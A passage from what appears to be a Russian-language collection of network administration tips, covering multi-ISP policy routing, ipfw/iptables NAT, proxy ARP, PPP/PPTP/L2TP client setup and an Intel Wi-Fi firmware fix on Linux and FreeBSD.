       ip ro add default via (northtelecom|southtelecom)_gw table default 
       ip ro delete default table main 
    
    Что он означает? Посмотрим на таблицу правил командой "ip rule" (да, я
    уже перенабрал набор правил с указанием приоритетов) 
    
       debian:~# ip ru 
       0: from all lookup local 
       1000: from all lookup main 
       3000: from southtelecom_ip lookup southtelecom 
       3010: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    Теперь для исходящих пакетов до поиска маршрутов в таблицах провайдеров
    будет осуществлен поиск маршрута в таблице "main", а она, как было
    написано выше, содержит максимум информации о маршрутах, в том числе и
    маршруты в локальные сети, как присоединенные напрямую, так и через
    внутренние маршрутизаторы. Чтобы поиск маршрута в таблице "main" не
    закончился отправкой пакета в "шлюз по умолчанию", мы перенесем его
    указание в таблицу "default". 
    
    Всё, теперь локальные и присоединенные сети вносить в таблицы
    "southtelecom" и "northtelecom" необходимости нет. Достаточно эти
    таблицы сформировать командами 
    
       ip route add default via northtelecom_gw table northtelecom 
       ip route add default via southtelecom_gw table southtelecom
    
    и получить работоспособность. Но этот легкий трюк имеет некоторый
    побочный эффект, который иногда ограничивает его прямое применение. 
    
    Допустим, что от хоста из сети southtelecom_net идет обращение к
    northtelecom_ip. Поскольку теперь маршрут приоритетно ищется в таблице
    main, то ответные пакеты с адреса northtelecom_ip будут отправлены через
    интерфейс southtelecom_if непосредственно к обратившемуся хосту. C одной
    стороны, это можеть быть здорово, пакеты пойдут кратчайшим путем, мы
    можем ожидать более высокой скорости передачи ответа и массы других
    полезных вещей, но с другой стороны это может оказаться не тем, чего от
    нас ожидал наш провайдер southtelecom, который ограничил нас на нашем
    порту коммутатора парой MAC+IP... 
    
    В общем, вышеописаный трюк - это трюк для слегка ленивых. Оптимальным
    методом решения задачи является создание третьей пользовательской
    таблицы "localnets" и указание в ней части маршрутов (маршрутов к
    локальным сетям) из таблицы main. В этой конфигурации, ответ при
    обращении из сети southtelecom_net к адресу northtelecom_ip пойдет точно
    также, как если бы второй канал в сеть southtelecom_net на
    маршрутизаторе отсутствовал, т.е. через сеть провайдера northtelecom, а
    не напрямую к хосту. Приведу набор команд, формирующих решение, а анализ
    того, как будет определяться маршрут для пакетов оставлю пытливым умам
    читателей. 
    
       ip route add local_net dev local_if table localnets 
       ip route add local_net2 via local_router2 table localnets 
       ip route add local_net3 via local_router2 table localnets 
    
       ip route add southtelecom_net dev southtelecom_if table  southtelecom 
       ip route add default via southtelecom_gw table southtelecom 
    
       ip route add northtelecom_net dev northtelecom_if table northtelecom 
       ip route add default via northtelecom_gw table northtelecom 
    
       ip rule add lookup table localnets pref 1000 
       ip rule add from southtelecom_ip lookup southtelecom pref 3000 
       ip rule add from northtelecom_ip lookup northtelecom pref 3010 
    
       debian:~# ip ru 
       0: from all lookup local 
       1000: from all lookup localnets 
       3000: from southtelecom_ip lookup southtelecom 
       3010: from northtelecom_ip lookup northtelecom 
       32766: from all lookup main 
       32767: from all lookup default 
    
    В качестве завершения, хочется отметить то, для чего между правилом 1000
    и правилами 30хх оставлен свободный диапазон. 
    
    Используя этот диапазон, очень удобно разделять, по какому из каналов
    пойдет трафик хостов локальной сети 
    (без специальных правил он пойдет с использованием шлюза по умолчанию,
     заданного в таблице "main" или "default") или специально
    маркированный трафик. 
    
    Например, это делается так: 
    
       ip ru add from 192.168.0.100 lookup southtelecom pref 2000 
       ip ru add from 192.168.0.128/25 lookup northtelecom pref 2010 
    
    Названия провайдеров "southtelecom" и "northtelecom" являются
    вымышленными, совпадения, если таковые имеются, случайны.
    
     
    ----* Два провайдера и default gw в Linux   Автор: Dmitriy Altuhov  [комментарии]
     
    Имеется сервер ASPLinux 10, с установленным postfix и 3-я сетевыми интерфейсами.
    
    Задача: корректная работа почты через один из интерфейсов, при этом в качестве
    default gw указан другой.
    
    Реализация:
    
    1) в /etc/iproute2/rt_tables добавляем:
       201 T1
       202 T2
    
    2) создаём скрипт и даём права на запуск, предварительно исправив нужные параметры
    IP - адреса сетевых интерфейсов
    P - адреса шлюзов
    
       #!/bin/sh
       IP1=192.168.4.1
       IP2=217.1.1.2
       P1=192.168.4.2
       P2=217.1.1.1
       ip route add default via $P1 table T1
       ip route add default via $P2 table T2
       ip route add default via $P1
       ip rule add from $IP1 table T1
       ip rule add from $IP2 table T2
    
    В результате получим, что если пакет пришёл на P2, то он не пойдёт через default gw P1, 
    а уйдёт через тот же интерфейс с IP1
    
     
    ----* Балансировка двух каналов средствами ipfw под FreeBSD   Автор: Ivan Voytas  [комментарии]
     
    natd -p 8668 -a ip1 
    natd -p 8669 -a ip2 
    
    ipfw add divert 8668 ip from any to ip1 recv if1 
    ipfw add divert 8669 ip from any to ip2 recv if2 
    ipfw add check-state 
    ipfw add prob 0.5 divert 8668 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add divert 8669 ip from 192.168.0.0/16 to any xmit if1 keep-state 
    ipfw add fwd gw1 ip from ip1 to any out xmit if1 (если default на if1) 
    ipfw add fwd gw2 ip from ip2 to any out xmit if1 
    
     
    ----* Проброс трафика через Linux машину используя Proxy ARP (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Пусть:
    x.x.x.96/28 - выделенная подсеть, которую нужно распределить по машинам в локальной сети.
    x.x.x.97 - IP внешнего шлюза.
    Требуется поставить между шлюзом и сетью фаервол, 
    с одним адресом на двух интерфейсах x.x.x.98, транслируя ARP трафик используя "Proxy ARP".
    
    (x.x.x.99 ... x.x.x.110) --- (eth1, x.x.x.98 | eth0, x.x.x.98) --- (x.x.x.97)
    
    Удаляем маршруты созданные по умолчанию.
       ip route del x.x.x.96/28 dev eth0
       ip route del x.x.x.96/28 dev eth1
    
    Пакеты для x.x.x.97 пускаем через eth0, а для x.x.x.96/28 через eth1
       ip route add x.x.x.97 dev eth0
       ip route add x.x.x.96/28 dev eth1
    
    Включаем Proxy ARP
       echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
       echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
    
     
    ----* Почему в FreeBSD 5.3 не работает форвадинг пакетов (ipfw fwd) (доп. ссылка 1)   Автор: Bushi  [комментарии]
     
    Это ошибка в FreeBSD 5.3, патч здесь:
    http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/71910
    
     
    ----* Пример настройки NAT для двух сетей в FreeBSD 5.3 (доп. ссылка 1)   Автор: Vov  [комментарии]
     
    Стоит задача - выпустить свою сеть в инет через два разных интерфейса rl1 и rl2.
    Так как адреса в локали серые, то надо поднимать NAT. С учетом того, что
    динамической маршрутизации
    не предвидится, будем поднимать NAT на 2 интерфейса. Для этого нужно:
    
    Скомпилировать ядро с параметрами:
        options IPFIREWALL
        options IPFIREWALL_VERBOSE
        options IPFIREWALL_VERBOSE_LIMIT=20
        options IPFIREWALL_FORWARD
        options IPDIVERT
        options DUMMYNET
        options TCP_DROP_SYNFIN
    это необходимый минимум. На все случаи жизни )))))
    
    Далее, в rc.local пишем такие строки:
        natd -p 8668 -n rl1
        natd -p 8669 -n rl2
        #natd -p 8671 -n rl3
        #natd -p 8672 -n rl4
        #natd -p 8673 -n rl5
    Последние три строки - если кому надо поднимать NAT на большее количество интерфейсов.
    
    Следующее - правила ipfw:
     
        ipfw -f add divert 8668 all from #твоясеть# to any out via rl1
        ipfw -f add divert 8668 all from any to #адрес_rl1# in via rl1
     
        ipfw -f add divert 8669 all from #твоясеть# to any out via rl2
        ipfw -f add divert 8669 all from any to #адрес_rl2# in via rl2
    
    Теперь все, что будет выходить через внешние интерфейсы, будет правильно NATиться через них же. 
    Остается проверить маршрутизацию. Если  маска на rl2 /24. В этом случае все просто. 
    Стандартный шлюз (default gateway) прописан через rl1, а все, что идет на сеть
    999.888.0.0/24 будет
    автоматически бежать через rl2. Если же на rl2 выделена подсетка из нескольких
    адресов, то тогда надо
    писать жесткий марщрут на всю сеть 999.888.0.0/24 через rl2 на тот шлюз,
    который тебе дал провайдер N2.
    Его тоже можно прописать в rc.local отдельной строкой типа:
        route add 999.888.0.0/24 999.888.0.25
    
    У Sergey2005 заработала комбинация:
        ${fwcmd} add 40 divert 8668 all from #моя сеть# to not #подсеть провайдера "S"# out via rl1
        ${fwcmd} add 45 divert 8668 all from not #подсеть провайдера "S"# to any in via rl1
    
        ${fwcmd} add 50 divert 8669 all from #моя сеть# to #подсеть провайдера "S"# out via rl2
        ${fwcmd} add 55 divert 8669 all from #подсеть провайдера "S"# to any in via rl2
    
        natd -p 8668 -m -u -n rl1
        natd -p 8669 -m -u -n rl2 
    
     
    ----* Пример разделения трафика для использования двух каналов в FreeBSD (доп. ссылка 1)   Автор: ILJA  [комментарии]
     
    rl0 -> Первый ифайс во вне, rl1 -> Второй ифайс во вне
    
    rc.conf:
       defaultrouter="${rl1_gateway_ip}"
    
    rc.local:
       /sbin/natd -n rl0 -p 8660
       /sbin/natd -n rl1 -p 8661
    
    rc.firewall:
    
       ${fwcmd} add 1100 divert 8660 tcp from ${local_ip} to not ${rl0_ip} 22,25,53,80,110,6667
       ${fwcmd} add 1110 fwd ${rl0_gateway_ip} tcp from ${rl0_ip} to not ${local_ip}
       ${fwcmd} add 1120 divert 8660 all from not ${rl0_ip},${local_ip} to ${rl0_ip}
       ${fwcmd} add 1150 pass all from any to ${rl0_ip}
       ${fwcmd} add 1150 pass all from ${rl0_ip} to any
       ${fwcmd} add 1999 divert 8661 all from ${local_ip} to not ${rl1_ip}
       ${fwcmd} add 2000 divert 8661 all from not ${rl1_ip},${local_ip}
       ${fwcmd} add 2010 pass all from any to ${local_ip}
       ${fwcmd} add 2010 pass all from ${local_ip} to any
       ${fwcmd} add 2100 pass all from any to ${rl1_ip}
       ${fwcmd} add 2100 pass all from ${rl1_ip} to any
    
    Правила тестировались на FreeBSD 4.7, 4.8, 4.9, 4.10, c ipfw2. Если у вас с
    ipfw(1) не работает, попробуйте убрать "not ${ip}"
    и вместо него вставить "any". "not" нужен для того чтобы локальные адреса не
    дивертировались, т.к. нам это не нужно.
    Порядковые номера могут быть на ваше усмотрение, рекомендую в начале разрешить
    трафик lo0, защититься от спуфа,
    запретить некоторые типы ICMP, разрешить внутренний трафик и т.д., и т.п.
    
     
    ----* Пример policy routing в Linux (маршрутизация в зависимости от IP источника)   [обсудить]
     
    ip rule add from 10.1.10.0/24 to 0/0 table 102 pref 100
    ip route add table 102 via 10.1.10.1
    ip rule add from 10.1.11.0/24 to 0/0 table 103 pref 100
    ip route add table 103 via 10.1.11.45
    
     
    ----* Как организовать Policy Routing на FreeBSD   [комментарии]
     
    ipfw add 100 fwd 10.0.0.2 ip from 10.0.2.0/24 to any 
    
    Если нужно использовать 2 шлюза, то можно воспользоваться:
      ipfw add  fwd $ext_gw_ip ip from $ext_net to any out xmit $ext_int
    
     
    ----* Маршрутизация IP сервисов в DMZ через два провайдера   Автор: Pavel V. Rochnyack  [комментарии]
     
    На форуме часто задается вопрос, по поводу маршрутизации сети, подключенной к двум провайдерам.
    В частном случае проблема расширяется тем, что нужно осуществлять проброс соединений к сервисам, 
    расположенным в локальной сети. Это делается с помощью DNAT, и при этом снова возникает 
    проблема - по каналу какого провайдера отправлять ответ.  Проблема усугубляется тем, 
    что обратное преобразование адресов выполняется уже после принятия 
    решения о маршрутизации, 
    т.е. примерно в районе цепочки POSTROUTING, но скрытно от пользователя.
    
    Решить эту нерешаемую проблему поможет модуль CONNMARK.  Принцип работы маршрутизатора для
    решения описанной задачи будет выглядеть примерно так:
    
    Входящие соединения маркируются определенным флажком, после чего делается их
    проброс в нужное назначение.
    Каждый обратный пакет соединения _до принятия решения о маршрутизации_ маркируется 
    флажком соответствующего ему соединения (флажок восстанавливается).
    На основании флажков принимается решение о маршрутизации пакета в соответствующую сеть.
    
    
    В нижеописанном примере обеспечение доступности сервиса по двум каналам/провайдерам 
    делалось для локального сервиса маршрутизатора. В связи с этим маркировка исходящих 
    пакетов делается в цепочке OUTPUT таблицы mangle. Для проброса порта к  серверу в локальной сети
    (в DMZ) проверку и восстановление маркера надо делать в цепочке PREROUTING. 
    Таким образом, "обратный DNAT" будет происходить когда пакет уже будет идти по нужному маршруту.
    
    Все не маркированные пакеты будут идти по маршруту по умолчанию. В моем случае это первый 
    провайдер first и айпи интерфейса first_ip. Входящие пакеты/соединения с порта второго провайдера 
    (destination <second_ip>) будут помечены маркером и к ним будет применен DNAT.
    Все исходящие (обратные) пакеты  будут промаркированы значением маркера соединения 
    в цепочке OUTPUT таблицы mangle.
    
    Более корректным вариантом, не зависящим от значения шлюза по умолчанию, 
    является обязательная маркировка пакетов для соединений от любого провадера и 
    создание соответствующих правил маршрутизации.
    
    
       [root@test z]# iptables -t nat -nvL PREROUTING
    
       Chain PREROUTING (policy ACCEPT 144M packets, 9659M bytes)
        pkts bytes target     prot opt in     out     source               destination
           1    52 CONNMARK   tcp  --  *      *       0.0.0.0/0            <second_ip>      tcp    dpt:<port> CONNMARK set 0x1
           1    52 DNAT       tcp  --  *      *       0.0.0.0/0            <second_ip>      tcp    dpt:<port> to:<first_ip>:<port>
    
    
       [root@test z]# iptables -t mangle -nvL OUTPUT
    
       Chain OUTPUT (policy ACCEPT 6745M packets, 7048G bytes)
        pkts bytes target     prot opt in     out     source               destination
       65915 8600K CONNMARK   tcp  --  *      *       <first_ip>            0.0.0.0/0           tcp    spt:<port> CONNMARK restore
    
    
       [root@test z]# ip ru sh
    
       0:      from all lookup local
       1000:   from all lookup main
       3300:   from all fwmark 0x1 lookup <second>
       5000:   from <first_ip> lookup <first>
       5500:   from <second_ip> lookup <second>
       10000:  from all lookup default
       32766:  from all lookup main
       32767:  from all lookup default
    
     

       PPP, PPTP, PPPOE

    ----* Как поднять выделенное соединение по PPP.   [комментарии]
     
    Скрипт /etc/ppp.sh:
    #!/bin/sh
    while : ; do
    pppd cuaa0 115200 noipdefault noauth defaultroute nodetach              
    done
    
     
    ----* Настройка устойчивого подключения к провайдеру Beeline (Corbina) в CentOS6/RHEL6 (доп. ссылка 1)   Автор: Ilya  [комментарии]
     
    Настройка устойчивого подключения к провайдеру Internet Beeline (Corbina) в
    CentOS6 и RHEL6 по протоколу l2tp, с
    помощью openl2tp. Продолжение опуса - http://www.opennet.ru/tips/info/2539.shtml
    
    Многие идеи и скрипты были взяты из Debian(6). Для краткости изложения,
    привожу, только имена скриптов и конфигурационных файлов задействованных в
    процессе соединения и описание происходящих событий.
    
    Совет: если нет необходимости, или выбор дистрибутива не имеет значения, в
    Debian настройка выполняется проще и без установки дополнительных пакетов.
     Все необходимые пакеты (x86_64), скрипты, исходники можно найти по адресу http://www.ilyx.ru/openl2tp
    
    Дано:
    
    1. Локальное подключения:   ethernet 100Mb(eth0).
    2. Login и Password для подключения к серверу tp.internet.beeline.ru.
    
    Необходимо:
    
    1. Получить настройки по DHCP (локальный IP, маршруты, DNS сервера) через eth0.
    2. Подключиться к Internet: с помощью openl2tp через сервер tp.internet.beeline.ru.
    	
    Начнем с принципиальных трудностей и их устранения.
    
    Ядро (на данный момент 2.6.32-279.5.2.el6) собрано без заплатки для модуля
    "pppol2tp" - https://lkml.org/lkml/2011/5/5/416 - "Fix UDP socket reference
    count bugs in the pppol2tp driver",  что не даст нам получить устойчивое
    соединение. В Debian(6) все нормально.
    Чтобы не пересобирать этот модуль для каждого нового ядра, я, воспользовавшись
    наработками http://elrepo.org, собрал пакет с пропатченным модулем.
    
    Устанавливаем "kmod-pppol2tp".
    
    "pppd" нас "радует" отсутствием необходимых плагинов openl2tp.so и pppol2tp.so
    из-за ошибок при сборке.
    
    Установим пакет - "openl2tp-ppp" - который является побочным продуктом при
    сборке openl2tp для RHEL6 после внесения
    необходимых изменений см. openl2tp-1.8-1.el6.src.rpm. Опять же, в Debian(6) все нормально.
    
    После этого устанавливаем сам openl2tp.
    
    Далее устанавливаем все необходимое из архива в /etc/* вносим необходимые изменения в файлы -
    
    	/etc/sysconfig/network-scripts/ifcfg-* ; Если надо.
    	/etc/openl2tpd.conf ; Меняем user_name= и dest_ipaddr=
    	/etc/ppp/chap-secrets ; Меняем client, secret
    
    	chkconfig openl2tpd on
    	semodule -i pppol2tp.pp ; Если включен SELINUX.
    	shutdown -r now
    
    Пояснение:
    
    Каталог /etc/dhcp - содержит конфигурационный файл dhclient.conf и скрипты для
    обработки параметров полученных по DHCP и не обрабатываемых по умолчанию
    утилитой dhclient. Результатом работы
    dhclient после поднятия eth0 должно быть: присвоение IP адреса (10.*.*.*)
    интерфейсу eth0, заполнение довольно внушительной,
    таблицы маршрутов к локальным сервисам Beeline, доступным без подключения к
    Internet, заполнение /etc/resolv.conf и установка временного маршрута по умолчанию.
    
    Также в файле /etc/dhcp-default-router сохраняется, IP адрес, полученного
    маршрута по умолчанию, для последующей настройке маршрутов при запуске и
    завершение openl2tpd(pppd).
    
    В файле /etc/openl2tpd.conf рекомендую в поле dest_ipaddr= указать IP адрес
    tp.internet.beeline.ru, а не tp.internet.beeline.ru, т.к. в случае если при
    разыменование произойдет сбой, openl2tpd завершится, без дальнейших попыток
    переустановить соединение. Можно выбрать понравившийся IP адрес, несколько раз
    запустив "ping -c 1 tp.internet.beeline.ru".
    
    Каталог /etc/ppp - содержит простейшие скрипты и необходимые настройки,
    спецефичные для RHEL6, для настройки таблицы маршрутов
    при поднятие "pppX" интерфейса используя файл /etc/dhcp-default-router.
    
    Если используем как маршрутизатор, добавляем где-нибудь в iptables:
    
       iptables -t mangle -A FORWARD -o pppX -p tcp -m tcp --tcp-flags SYN,RST SYN -m tcpmss --mss 1421:65496 -j TCPMSS --clamp-mss-to-pmtu
    
    P.S. В некоторых скриптах используется, при настройке маршрутов, параметр
    metric 10, это только для отладочных целей, чтобы определенные маршруты
    выделить из общей массы, никакой иной роли, этот параметр, в данном случае не имеет.
    
    P.S.2. У меня конечная таблица маршрутов выглядит так: http://ilyx.ru/openl2tp/openl2tpCEntOS.txt
    
     
    ----* pptpd и решение проблемы маршрута по умолчанию   Автор: Брызгалов Константин  [комментарии]
     
    Суть вопроса: 
    Имеем настроенный на linux pptp сервер для подключения внешних клиентов к
    ресурсам внутренней сети. При установлении соединения с pptp сервером на машине
    windows клиента поднимается маршрут по умолчанию с более высоким приоритетом,
    чем маршрут через основное подключение. Вследствие чего перестает работать
    связь с Интернет, со всеми вытекающими последствиями. Если же в свойствах pptp
    соединения отключить галочку с пункта  "Использовать основной шлюз в удаленной
    сети", то пропадает связь до ресурсов в удаленной сети. Возможности передать
    маршруты в рамках соединения клиент-сервер через pptpd нет.
    
    Решение:
    Используем мапирование адресных пространств сетей. Будем транслировать то
    пространство, которое является локальным для интерфеса windows клиента после
    установки соединения.
    
    Например, имеем адресное пространство удаленной(по отношению к клиенту) сети
    192.168.0.0/24, а адрес интерфейса pptpd:
    
       # grep localip /etc/pptpd.conf
       localip 10.50.11.1
    
    Настраиваем трансляцию адресного пространства:
    
       # iptables -t nat -A PREROUTING -d 10.50.11.0/24 -j NETMAP --to 192.168.0.0/24 -m comment --comment "For_PPTPD_clients"
    
    После чего с клиентской машины есть связь и с интернет, и с ресурсами удаленной
    сети через адреса 10.50.11.x. Неудобство с применением IP можно обойти через
    настройку dns с использованием отдельной зоны для клиентов pptpd сервера.
    
    Необходимо отметить, что есть еще другой путь решения проблемы - через
    настройку отдельного dhcp на стороне сервера и использования option
    ms-classless-static-routes code, option rfc3442-classless-static-routes code. Встретил
    здесь. Может быть он более
    правильный, но мне приведенное решение показалось более красивым и простым.
    
    PS:  Не забудьте разрешить соединения через цепочку FORWARD, если используется
    политика "Запрещено все, что не разрешено".
    
     
    ----* Как в mpd5 присвоить определенный номер для ng интерфейса (доп. ссылка 1)   Автор: PavelR  [комментарии]
     
    Несколько интерфейсов в Multi-link PPP Daemon, например два, можно сделать следующим образом:
    
       create bundle static NAME 
    
       create link static NAME1 TYPE 
       set link action bundle NAME 
    
       create link static NAME2 TYPE 
       set link action bundle NAME 
    
    В результате получится два интерфейса, у одного будет жестко ng0, у второго
    ng1, они появятся в системе сразу после запуска mpd, просто будут в DOWN, пока
    mpd не подымет линки.
    
     
    ----* Проверка GSM/UMTS оператора в chat-скрипте (доп. ссылка 1)   Автор: Kirill Zabarniuk  [комментарии]
     
    В ситуации работы через нескольких операторов для проверки активного
    GSM/UMTS-оператора, к которому в данный момент подключился модем, в chatscript
    можно использовать следующую конструкцию:
    
       '' ATZ
       OK-AT-OK "AT+COPS=?" UTEL3G ''
       OK-AT-OK AT+CGDCONT=1,"IP","unlim.utel.ua"
       OK-AT-OK "ATDT*99***1#"
       CONNECT ''
       '' \d\c
    
    Список экзотичных GPRS/3G/UMTS/HSDPA  AT-команд можно посмотреть здесь.
    
     
    ----* Решение проблемы с MPPE, при использовании связки linux, ppp, poptop и IAS (доп. ссылка 1)   Автор: mdv  [комментарии]
     
    Проблема:
    
       pppd[27229]: MPPE required, but keys are not available.  Possible plugin problem?
    
    Решение:
    
    В свойствах "remote access policy", щелкаем "edit profile", на вкладе "encryption" 
    убираем галку No Encryption, Apply, ok. И не верьте никому, что это влияет только на MS RRAS.
    
    Причина: 
    
    Без этой настройки IAS начинает отдавать вот такие радиус-атрибуты:
       MS-MPPE-Encryption-Policy
       MS-MPPE-Encryption-Types
    
    а с ним, включенным по-умолчанию, не отдает.
    
     
    ----* Сохранение статистики pppd в MySQL   Автор: Андрей "squirL" Товстик  [комментарии]
     
    Вот такой код я использую, чтобы вести учет статистики для PPP соединений в MySQL. 
    Этот код помещается в скрипт /etc/ppp/ip-down. 
    Используются переменные окружения, устанавливаемые pppd.
    
    #!/bin/sh
    #
    echo "INSERT INTO pppdstats VALUES ( `date +%Y%m%d`, `date +\'%T\' 
    -d\"-${CONNECT_TIME} sec\" ` , '$PEERNAME', '$IPREMOTE', 
    '$CONNECT_TIME', '$BYTES_SENT', '$BYTES_RCVD', '$DEVICE', `date 
    +\'%T\'`);" | mysql -uuser -ppassword database
    
    
    Формат таблицы:
    
    CREATE TABLE pppdstats (
      c_date date,
      c_start_time time,
      user varchar(128),
      ip_addr varchar(15),
      online_time int(11),
      send_bytes int(11),
      recv_bytes int(11),
      device varchar(15),
      c_end_time time
    );
    
    PS: Естественно, что изменив перенаправление можно записывать статистику в обычный текстовый файл.
    
     
    ----* Настройка клиентского PPTP соединения по msCHAPv2 в Linux (доп. ссылка 1)   Автор: onorua  [комментарии]
     
    /etc/ppp/chap-secrets
       # Secrets for authentication using CHAP
       # client server secret IP addresses
       vkXXXX * password
    
    /etc/ppp/options.pptp
       lock
       +chap
       require-mschap-v2
       nobsdcomp
       nodeflate
       noaccomp
       nopcomp
       defaultroute
       noipdefault
       mtu 1000
       mru 1000
       ipcp-accept-local
       ipcp-accept-remote
       noauth
    
    /etc/ppp/peers/topnet
       user vkXXXX
       defaultroute
       noauth
       mru 1000
       mtu 1000
    
    Запускаем:
       sudo pptp 172.16.0.206 call topnet
    
    Завершаем сервис:
       sudo killall pptp
    
     
    ----* Автоподъем pptp linux-клиента на Fedora Core Linux   Автор: Abor Mot  [комментарии]
     
    После безуспешного шаманства вокруг pppd с использованием persist, holdof и maxfail
    решил написать следующий скрипт. Запускается из rc.local
    
    #!/usr/bin/perl
    use strict;
    use Net::Ping;
    my $hping=Net::Ping->new("icmp");
    my $s=0;
    sub logger($) {
    my @ldata=localtime;$ldata[5]+=1900;$ldata[4]+=1;
    my $j = 0;
    for ($j = 0;$j < 5; $j++) {
        if ($ldata[$j] <10) {
           $ldata[$j] = "0" . $ldata[$j];
        }
    }
    my $data1="$ldata[3]/$ldata[4]/$ldata[5] $ldata[2]:$ldata[1]:$ldata[0]";
    open (MAN_LOG, ">>/var/log/ppp_watcher");
    print MAN_LOG "pw: $data1\t$_[0]\n";
    close(MAN_LOG)
    }
    logger("daemon started.");
    `echo "kill -15 $$" > /root/ppp_watch.die`;
    `chmod 0700 /root/ppp_watch.die`;
    sub ppp_watch {
        my @presence=split(' ', `ifconfig | grep ppp0`);
        $presence[0].='';
        if ($presence[0] ne 'ppp0') {
    	logger("trying to start daemon.");
    	`route add -net <LOCAL NETWORK> netmask 255.255.255.0 gw <LOCAL GW> 2>/dev/null`;
    	`sleep 2`;
    	`pppd noauth nobsdcomp nodeflate name sspm pty "pptp <GW> --nolaunchpppd" 2>/dev/null`;
    	`sleep 3`;
    	`route add -net <IP> netmask 255.255.255.0 gw <GW> 2>/dev/null`;
    	`sleep 2`;
    	`route del -net 0.0.0.0 netmask 0.0.0.0 gw <LOCAL IP> 2>/dev/null`;
    	`sleep 3`;
    	`route add -net 0.0.0.0 netmask 0.0.0.0 dev ppp0`;
    	$SIG{'ALRM'}='ppp_watch';
    	logger("delaying for 20 sec...");
    	alarm(20);
        } else {
    	my @traff=split(' ', `pppstats | tail -1`);
    	logger("watching, total traffic $traff[0]");
    	$SIG{'ALRM'}='ppp_watch';
    	alarm(5);
        }
    }
    ppp_watch;
    sub ppp_die {
        $s=1;
    }
    $SIG{'TERM'}='ppp_die';
    while ($s ne 1) {
    }
    logger("daemon stopped.");
    exit 0;
    
    
    Кроме всего прочего ведет лог состояния и трафика.
    
     
    ----* Настройка ADSL для Стрима под FreeBSD 4.9/5.3 (доп. ссылка 1)   Автор: Dmitry Pupkov  [комментарии]
     
    запускать 
       bash# ppp -ddial test
    
    Или если мы хотим поднимать соединение при старте, в rc.conf: 
       ppp_enable="YES" 
       ppp_mode="ddial" 
       ppp_profile="test" 
    
    и никаких tun0!
    xl0 - ethernet карта куда воткнут модем (у меня Zyxel Omni ADSL LAN EE)
    
    Вот как у меня,  /etc/ppp/ppp.conf:
    
       default:
    
       test:
         set device PPPoE:xl0
         set MTU 1492
         set MRU 1492
    
         set dial
         set crtscts off
         set speed sync
         accept lqr
    
         disable deflate
         disable pred1
         disable vjcomp
         disable acfcomp
         disable protocomp
    
         set log Phase LCP IPCP CCP Warning Error Alert
         set ifaddr 10.0.0.1/0 10.0.0.2/0 0.0.0.0 0.0.0.0
         add default HISADDR
         set login
         set authname ppp0012345@mtu
         set authkey your_password
    
         set server /var/run/ppp/ppp.pid "" 0117
    
     
    ----* Настройка PPTP-клиента на FreeBSD (альтернативный вариант)   Автор: Skylord  [комментарии]
     
    Точнее, частично альтернативный. Используем все тот же pptpclient из портов, 
    прописываем роутинг к адресу vpn-сервера (если он в другом сегменте), а потом
    добавляем в ppp.conf нечто подобное:
    
    vpn:
     set device "!pptp <vpn_server_address> --nolaunchpppd"
     set dial
     set login
     set server /var/run/ppp/loop "" 0177
     set timeout 3600
     set reconnect 120 0
     enable dns
     set authname <vpn_login>
     set authkey <vpn_password>
     nat enable yes
     enable lqr
     disable ipv6cp
     disable mppe
     set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0
     add default HISADDR
    
    Это мой конфиг и, естественно, не все из этого (типа, таймаутов и реконнектов)
    нужно всем. Как видно, в данном
    случае не pptp вызывает ppp, а наоборот. Главный бонус как раз в том, что можно
    без геморроя обеспечить
    on demand'овое соединение (потому и реконнекты с таймаутами у меня стоят) и
    автоматическое его поднятие,
    если vpn_server сдох, а потом ожил. Ну и мелкие приятности - типа включения из
    rc.conf без необходимости
    написания дополнительных скриптов....
    
     
    ----* Как в pppd зафиксировать номер PPP интерфейса   [комментарии]
     
    Необходимо использовать опцию "unit N", где N - номер ppp интерфейса.
    Например, для привязки к ppp0:
       /usr/sbin/pppd /dev/ttyS0 115200 noauth crtscts 192.168.1.245:192.168.1.246 local \
       nodetach netmask 255.255.255.252 unit 0
    
     
    ----* Настройка PPTP-клиента под FreeBSD (доп. ссылка 1)   Автор: l0ner  [комментарии]
     
    Необходимо установить из портов пакет pptpclient
    /etc/ppp/ppp.conf
      vpn:
      set authname <LOGIN>
      set authkey <PASSWORD>
      set timeout 0
      set ifaddr 0 0
      add default HISADDR
    
    Подключение к VBN серверу:
      /sbin/route add -host <IP_address_of_VPN_server> <gateway>
      /usr/local/sbin/pptp <IP_address_of_VPN_server> vpn &
    
     

       Wifi, настройка беспроводного доступа

    ----* Решение проблемы с картами Intel после устранения уязвимости в WPA2 в wpa_supplicant (доп. ссылка 1)   Автор: sfstudio  [комментарии]
     
    После обновления wpa_supplicant с правками, касающимися уязвимости WPA2 CRACK,
    многие владельцы беспроводных карт Intel (3160, 3168, 7260, 7265, 8000C, 8265)
    могли обратить внимание на странное поведение адаптера. Проявляется оно как
    потеря связи на некоторое время с интервалом в половину времени истечения срока
    жизни GTK. При этом в логах нет абсолютно никакого криминала. Нет также и
    попыток переподключения, просто останавливается хождение данных, пока роутер
    или точка доступа не отстрелят такого клиента по idle timeout.
    
    Проблема оказалась в том, что intel частично реализует логику SME (даже в
    случае использования nl80211 подсистемы ядра) на уровне микрокода. И после
    внесения правок на стороне supplicant&#8217;а, обновление группового ключа
    происходит не всегда корректно.
    
    Исправление микрокода Intel представил в обновлении от 3.11.2017, однако
    большинство дистрибутивов так и не обновили микрокод, хотя обновили supplicant.
    Отсюда и появилась проблема.
    
    Для решения, достаточно загрузить новый микрокод:
    
       git clone https://git.kernel.org/pub/scm/linux/kernel/git/iwlwifi/linux-firmware.git
    
    После чего содержимое скопировать поверх /lib/firmware и перезагрузиться.
    
    Проконтроллировать успех решения проблемы можно заглянув до и после обновления
    в вывод dmesg и обратив внимание на строку
    
       iwlwifi 0000:01:00.0: loaded firmware version XX.YYYYYY.Z op_mode iwlmvm.
    
    Кроме всего прочего, неаккуратно бэкпортированные исправления уязвимости
    wpa_supplicant в Mageia 6 ломают миграцию. Клиент перестаёт выполнять
    автоматические фоновые сканирования и даже не пытается мигрировать. Решение
    - сборка последней версии wpa_supplicant из git, куда уже включены все
    необходимые правки, а также сообщения о проблеме разработчикам своих дистрибутивов.
    
     
    ----* Настройка локальной Wi-Fi точки доступа в Linux (доп. ссылка 1)   [комментарии]
     
